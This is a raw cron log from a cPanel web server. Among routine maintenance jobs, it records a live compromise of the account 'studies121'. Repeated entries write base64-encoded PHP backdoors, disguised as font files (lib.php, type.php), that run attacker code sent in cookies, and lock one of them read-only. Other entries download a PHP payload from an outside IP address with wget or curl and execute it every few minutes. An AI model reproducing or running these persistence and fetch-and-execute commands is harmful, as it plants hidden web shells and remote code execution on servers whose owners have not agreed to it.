Sep  7 00:58:01 ip-184-168-122-23 CROND[22022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 00:59:02 ip-184-168-122-23 CROND[22193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 00:59:02 ip-184-168-122-23 CROND[22194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 00:59:02 ip-184-168-122-23 CROND[22195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 00:59:02 ip-184-168-122-23 CROND[22196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:00:01 ip-184-168-122-23 CROND[22298]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:00:01 ip-184-168-122-23 CROND[22300]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:00:01 ip-184-168-122-23 CROND[22301]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:00:01 ip-184-168-122-23 CROND[22307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:00:01 ip-184-168-122-23 CROND[22306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:00:01 ip-184-168-122-23 CROND[22308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:00:01 ip-184-168-122-23 CROND[22304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:00:01 ip-184-168-122-23 CROND[22305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:01:01 ip-184-168-122-23 CROND[22416]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22416]: starting 0anacron
Sep  7 01:01:01 ip-184-168-122-23 CROND[22426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:01:01 ip-184-168-122-23 CROND[22427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:01:01 ip-184-168-122-23 CROND[22424]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 01:01:01 ip-184-168-122-23 CROND[22423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:01:01 ip-184-168-122-23 CROND[22425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:01:01 ip-184-168-122-23 anacron[22436]: Anacron started on 2026-09-07
Sep  7 01:01:01 ip-184-168-122-23 anacron[22436]: Normal exit (0 jobs run)
Sep  7 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[22438]: finished 0anacron
Sep  7 01:02:01 ip-184-168-122-23 CROND[22522]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:02:01 ip-184-168-122-23 CROND[22526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:02:01 ip-184-168-122-23 CROND[22524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:02:01 ip-184-168-122-23 CROND[22525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:02:01 ip-184-168-122-23 CROND[22527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:03:01 ip-184-168-122-23 CROND[22610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:03:01 ip-184-168-122-23 CROND[22612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:03:01 ip-184-168-122-23 CROND[22613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:03:01 ip-184-168-122-23 CROND[22615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:04:01 ip-184-168-122-23 CROND[22694]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:04:01 ip-184-168-122-23 CROND[22698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:04:01 ip-184-168-122-23 CROND[22697]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:04:01 ip-184-168-122-23 CROND[22699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:04:01 ip-184-168-122-23 CROND[22696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:05:01 ip-184-168-122-23 CROND[22785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:05:01 ip-184-168-122-23 CROND[22787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:05:01 ip-184-168-122-23 CROND[22788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:05:01 ip-184-168-122-23 CROND[22789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:05:01 ip-184-168-122-23 CROND[22790]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:05:01 ip-184-168-122-23 CROND[22792]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 01:05:01 ip-184-168-122-23 CROND[22793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:06:01 ip-184-168-122-23 CROND[22875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:06:01 ip-184-168-122-23 CROND[22878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:06:01 ip-184-168-122-23 CROND[22879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:06:01 ip-184-168-122-23 CROND[22877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:06:01 ip-184-168-122-23 CROND[22880]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:07:01 ip-184-168-122-23 CROND[22963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:07:01 ip-184-168-122-23 CROND[22965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:07:01 ip-184-168-122-23 CROND[22966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:07:01 ip-184-168-122-23 CROND[22967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:08:01 ip-184-168-122-23 CROND[23050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:08:01 ip-184-168-122-23 CROND[23052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:08:01 ip-184-168-122-23 CROND[23055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:08:01 ip-184-168-122-23 CROND[23054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:08:01 ip-184-168-122-23 CROND[23053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:09:01 ip-184-168-122-23 CROND[23265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 01:09:01 ip-184-168-122-23 CROND[23267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 01:09:01 ip-184-168-122-23 CROND[23266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:09:01 ip-184-168-122-23 CROND[23268]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 01:09:01 ip-184-168-122-23 CROND[23269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:10:01 ip-184-168-122-23 CROND[23373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:10:01 ip-184-168-122-23 CROND[23375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:10:01 ip-184-168-122-23 CROND[23377]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 01:10:01 ip-184-168-122-23 CROND[23379]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:10:01 ip-184-168-122-23 CROND[23378]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
